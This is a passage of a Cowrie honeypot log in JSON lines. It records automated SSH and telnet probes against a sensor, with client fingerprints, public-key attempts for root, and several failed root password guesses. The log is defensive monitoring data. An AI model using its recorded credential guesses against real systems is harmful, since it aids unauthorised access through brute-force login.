{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:52.875105Z","src_ip":"5.181.124.9","session":"e0a12824de29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2017","message":"login attempt [root/2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:53.059024Z","src_ip":"37.143.61.84","session":"2b3599532267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.00183296203613,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:53.333040Z","src_ip":"192.119.13.58","session":"65d92c8af3d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:54.143875Z","src_ip":"37.143.61.84","session":"2b3599532267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.239.241","src_port":59242,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf25a1c123fe","protocol":"ssh","message":"New connection: 192.250.239.241:59242 (10.17.0.5:22) [session: bf25a1c123fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:54.664391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:54.669489Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:54.745267Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:b7:d4:98:f5:fc:6d:db:98:c8:a1:ea:6e:c2:37:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnorCguRbp3ETRsQEdDFx32PqG5lcoY5qTjcDZGFn3lm7mPmHPi0b6IMw538MVQckSNBZHaBd/xY4MknL1Z3ba7410Xk1AaVRFxtgidTDJ1FC32htjTXbLmA4IJCavZz7HiQy6unJ9F0DmdWVkpp9Wk96XL+95ISGiK1VIeLRfLbcGCuiea3ingajKe27Uk8N95Of2gLzkfrQ6LkXaenQ/9WOYlOdFR6IE5IoEheHQ8ryWltppH7aLPo0+PO7m/CeA2QlbdJIEPpP3BSWTREGAXhlQodW3ggkOzDvhiDPv/+t2GWpEjiyqNUW9mFnWbWUYzFSRmH7lmfdrzakKeT3R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:b7:d4:98:f5:fc:6d:db:98:c8:a1:ea:6e:c2:37:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.104413Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:b7:d4:98:f5:fc:6d:db:98:c8:a1:ea:6e:c2:37:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnorCguRbp3ETRsQEdDFx32PqG5lcoY5qTjcDZGFn3lm7mPmHPi0b6IMw538MVQckSNBZHaBd/xY4MknL1Z3ba7410Xk1AaVRFxtgidTDJ1FC32htjTXbLmA4IJCavZz7HiQy6unJ9F0DmdWVkpp9Wk96XL+95ISGiK1VIeLRfLbcGCuiea3ingajKe27Uk8N95Of2gLzkfrQ6LkXaenQ/9WOYlOdFR6IE5IoEheHQ8ryWltppH7aLPo0+PO7m/CeA2QlbdJIEPpP3BSWTREGAXhlQodW3ggkOzDvhiDPv/+t2GWpEjiyqNUW9mFnWbWUYzFSRmH7lmfdrzakKeT3R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.111876Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:71:84:c6:d9:ee:f1:74:6c:48:83:2b:ba:ce:8c:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHDQsfLgnNkx3cCmYZ59+JZ4/x9lHEUDmLOMyu0VIdJtF4dC6LGnOFFwJ7LcZT3vGbhfORmSPg1KTfi5SHRYkv6X1qIjK7aZKObgTHbwl6x3uSFDcC3ObkgdspUmoBAHI5IR21iX7KZntT4+zWE50n6KHl4ds5NY4BHY6wbK4Mof1hBBdaZvBUlis+hYvnI4doRTzYUqwjfKq4wvWSBttdW8Km0ZsE3viJ2yD4oKE3INyVKdSCH0wU6a+4LMzm0ZWg0lxJDct/cDGbHyCYsLp9UKY+XWpSk8aA5qCF2420YU3039oWy9cyo99OfVivpGud1qwYK9rioZoFYrF9XEAwQ4IrH4xRCsWG657h+WjK9Q7N3Tsdtuvb897HHKXNSfyXi7H/lvA4ptq8Eq5GJ6eNTLGJCQtbYzkRYTsOrDF1hdYNc07fT7T1nVj+yL7oajst974UliB20pgZ4JfoLexZGsEAbnX6hX8YPYEGt+JDHUaDJp7A9g1DXrxD416MuEU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:71:84:c6:d9:ee:f1:74:6c:48:83:2b:ba:ce:8c:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.189863Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:71:84:c6:d9:ee:f1:74:6c:48:83:2b:ba:ce:8c:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHDQsfLgnNkx3cCmYZ59+JZ4/x9lHEUDmLOMyu0VIdJtF4dC6LGnOFFwJ7LcZT3vGbhfORmSPg1KTfi5SHRYkv6X1qIjK7aZKObgTHbwl6x3uSFDcC3ObkgdspUmoBAHI5IR21iX7KZntT4+zWE50n6KHl4ds5NY4BHY6wbK4Mof1hBBdaZvBUlis+hYvnI4doRTzYUqwjfKq4wvWSBttdW8Km0ZsE3viJ2yD4oKE3INyVKdSCH0wU6a+4LMzm0ZWg0lxJDct/cDGbHyCYsLp9UKY+XWpSk8aA5qCF2420YU3039oWy9cyo99OfVivpGud1qwYK9rioZoFYrF9XEAwQ4IrH4xRCsWG657h+WjK9Q7N3Tsdtuvb897HHKXNSfyXi7H/lvA4ptq8Eq5GJ6eNTLGJCQtbYzkRYTsOrDF1hdYNc07fT7T1nVj+yL7oajst974UliB20pgZ4JfoLexZGsEAbnX6hX8YPYEGt+JDHUaDJp7A9g1DXrxD416MuEU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.193788Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:da:15:0a:05:c3:73:59:14:ac:54:d3:4b:c6:19:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRHfm4iUfavYfkzUL78oYlsybSrCnIOroGEHTcOdFPv7P5KkQ2IwtSFbYGrVcqLodPvlc5TS5sz1lI9jn2M80xC+xV0xk/9dsEu+R2lXb5MenLoVP/3kDFYEh5Cy5KLN+1rnZBEcWvEBKBpQ0fkP8ERDRuX/QRFeapalRuMQnSSI4XtJQTfeO3EQPka+WFGMXLgU3vfFaunrFJBEvL/Tkho5BNMVlM+kekLaiwNQZqWTKEBoKzzBVaghf5Sos8PrrpIkQYfh10MskCcrxsecOsxPcu95UqFxNpYh2ZSSDjKxQqrOhUfFIzx0rJsdZ+7ckxJnrfujWYCEsruBykbm5p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:da:15:0a:05:c3:73:59:14:ac:54:d3:4b:c6:19:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.270878Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:da:15:0a:05:c3:73:59:14:ac:54:d3:4b:c6:19:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRHfm4iUfavYfkzUL78oYlsybSrCnIOroGEHTcOdFPv7P5KkQ2IwtSFbYGrVcqLodPvlc5TS5sz1lI9jn2M80xC+xV0xk/9dsEu+R2lXb5MenLoVP/3kDFYEh5Cy5KLN+1rnZBEcWvEBKBpQ0fkP8ERDRuX/QRFeapalRuMQnSSI4XtJQTfeO3EQPka+WFGMXLgU3vfFaunrFJBEvL/Tkho5BNMVlM+kekLaiwNQZqWTKEBoKzzBVaghf5Sos8PrrpIkQYfh10MskCcrxsecOsxPcu95UqFxNpYh2ZSSDjKxQqrOhUfFIzx0rJsdZ+7ckxJnrfujWYCEsruBykbm5p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.275217Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:d5:cc:2b:f5:65:41:82:48:c3:be:38:0a:f3:1a:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/LwLLKFatFw8uIK8xXTbU/hcd8vwnwMsjj++vr1nwUjqqUlE4gA36YJJp7TS02DFCKhKG51/e7Yg5b3mi2SQAiUdaWjrpiFc3Eor+wjyED1n/ObtRC4xLJeA8Hk+qFuSNm3J0gEaaUXfLQNDk3VB//siG/iZaSAMG6KK+soN88lJT/esGhf3mYv0K92PpUKkOYiXSqXdWMcKNi9UHrOKVPmVM0pxDlvS9woP5ZKeJdoXVbnAZaYz+JTXgnMMMXHGANJCE0IOxSiV87iFXKclGZ19MxJ2ZQlftEF1V60B0HF65CRM0JW4g8Vi3HIN30JpQJ+uujiWfmmBM7Km0l82j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:d5:cc:2b:f5:65:41:82:48:c3:be:38:0a:f3:1a:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.353819Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:d5:cc:2b:f5:65:41:82:48:c3:be:38:0a:f3:1a:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/LwLLKFatFw8uIK8xXTbU/hcd8vwnwMsjj++vr1nwUjqqUlE4gA36YJJp7TS02DFCKhKG51/e7Yg5b3mi2SQAiUdaWjrpiFc3Eor+wjyED1n/ObtRC4xLJeA8Hk+qFuSNm3J0gEaaUXfLQNDk3VB//siG/iZaSAMG6KK+soN88lJT/esGhf3mYv0K92PpUKkOYiXSqXdWMcKNi9UHrOKVPmVM0pxDlvS9woP5ZKeJdoXVbnAZaYz+JTXgnMMMXHGANJCE0IOxSiV87iFXKclGZ19MxJ2ZQlftEF1V60B0HF65CRM0JW4g8Vi3HIN30JpQJ+uujiWfmmBM7Km0l82j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.358025Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:fe:51:88:64:02:00:45:2a:1d:3c:26:14:13:c2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx2qCYveJmogjXrwwjH82tggq+BZ1Y7RQ84A3S51qRcbVYYZHSjyaj2Yp5x/OLle5j/voLjcgR4KcezfUpcoDdPB8u3k+4iBW/7R51uI3SQrurO3ju3JuINUKsf7dcYvhabw27L6emPPRY7zutCqdpddKCIhOstpegKjNpKXRr0vwtPppL18Mc19gjjA4nnPbOeoOyBPZpTyWfeGils5GOMfqRQvqGzRzmL0V6OolLQIb3TuSVu/ol1mspwnanktIMbBzdHE3B8LFvRASfYnVrDwTuk3qcjGn2IoAG/Jqf73OM99fxnejXp25jcW2hCuLiC7daNsHQ8cYwr92EEiaqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:fe:51:88:64:02:00:45:2a:1d:3c:26:14:13:c2:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.435889Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:fe:51:88:64:02:00:45:2a:1d:3c:26:14:13:c2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx2qCYveJmogjXrwwjH82tggq+BZ1Y7RQ84A3S51qRcbVYYZHSjyaj2Yp5x/OLle5j/voLjcgR4KcezfUpcoDdPB8u3k+4iBW/7R51uI3SQrurO3ju3JuINUKsf7dcYvhabw27L6emPPRY7zutCqdpddKCIhOstpegKjNpKXRr0vwtPppL18Mc19gjjA4nnPbOeoOyBPZpTyWfeGils5GOMfqRQvqGzRzmL0V6OolLQIb3TuSVu/ol1mspwnanktIMbBzdHE3B8LFvRASfYnVrDwTuk3qcjGn2IoAG/Jqf73OM99fxnejXp25jcW2hCuLiC7daNsHQ8cYwr92EEiaqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.439732Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:55.519072Z","src_ip":"192.250.239.241","session":"bf25a1c123fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":37960,"dst_ip":"10.17.0.5","dst_port":22,"session":"795fed1e5b90","protocol":"ssh","message":"New connection: 59.126.224.134:37960 (10.17.0.5:22) [session: 795fed1e5b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:59.558075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:59.563774Z","src_ip":"59.126.224.134","session":"795fed1e5b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:59.880363Z","src_ip":"59.126.224.134","session":"795fed1e5b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.08267664909363,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.062477Z","src_ip":"192.119.13.58","session":"ca40d3389268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"1db5afea05f8","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 1db5afea05f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.393104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.398041Z","src_ip":"74.243.239.219","session":"1db5afea05f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.565916Z","src_ip":"74.243.239.219","session":"1db5afea05f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":40660,"dst_ip":"10.17.0.5","dst_port":22,"session":"00e36b744b82","protocol":"ssh","message":"New connection: 43.135.177.217:40660 (10.17.0.5:22) [session: 00e36b744b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.739584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.744857Z","src_ip":"43.135.177.217","session":"00e36b744b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.814857Z","src_ip":"43.135.177.217","session":"00e36b744b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lifeisgood","message":"login attempt [root/lifeisgood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:00.846522Z","src_ip":"59.126.224.134","session":"795fed1e5b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"991212","message":"login attempt [root/991212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:01.130365Z","src_ip":"43.135.177.217","session":"00e36b744b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strongpass","message":"login attempt [root/strongpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:01.322893Z","src_ip":"74.243.239.219","session":"1db5afea05f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:02.062192Z","src_ip":"59.126.224.134","session":"795fed1e5b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:02.206258Z","src_ip":"43.135.177.217","session":"00e36b744b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:02.495912Z","src_ip":"74.243.239.219","session":"1db5afea05f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.600226402282715,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:07.183817Z","src_ip":"192.119.13.58","session":"eb29116fb182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.4305944442749,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:07.188932Z","src_ip":"192.119.13.58","session":"ba1142c2ab08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":54664,"dst_ip":"159.203.135.109","dst_port":22,"session":"96d1cd2a1454","protocol":"ssh","message":"New connection: 49.51.241.230:54664 (159.203.135.109:22) [session: 96d1cd2a1454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:07.822177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:07.827167Z","src_ip":"49.51.241.230","session":"96d1cd2a1454","protocol":"ssh"}
